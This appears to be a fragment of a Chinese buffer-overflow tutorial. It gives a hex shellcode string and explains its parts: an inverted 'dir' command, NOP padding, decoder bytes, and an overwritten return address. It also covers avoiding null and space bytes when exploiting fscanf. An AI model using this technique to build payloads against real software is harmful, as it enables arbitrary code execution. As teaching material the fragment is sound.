C代码
未优化的Shell.bin文件 只是简单表示执行过程
9B968DFF9090909090909090909090908BF583EE78F7168BE65481EAA9D3527CFFD290909090909090909090909090909090909058FF1200 |
说明
9B968DFF “dir”的反码表示形式 909090909090909090909090 空余空间 8BF583EE78F7168BE65481EAA9D3527CFFD2
909090909090909090909090909090909090空余空间 58FF1200 关键点:这里替换了原来的函数返回地址 指向我们的代码地址 |
关键点
1:Fscanf在参数传递过程中没有对参数长度进行校验造成缓冲区溢出 2:Fscanf函数在读取文件的时候遇到 结束字符”00”,空格”20”等不能继续读取 所以 在shellcode的时候这是关键点 所以要避免出现这些敏感字符 所以用求反not 等办法处理 或者++ --等…… |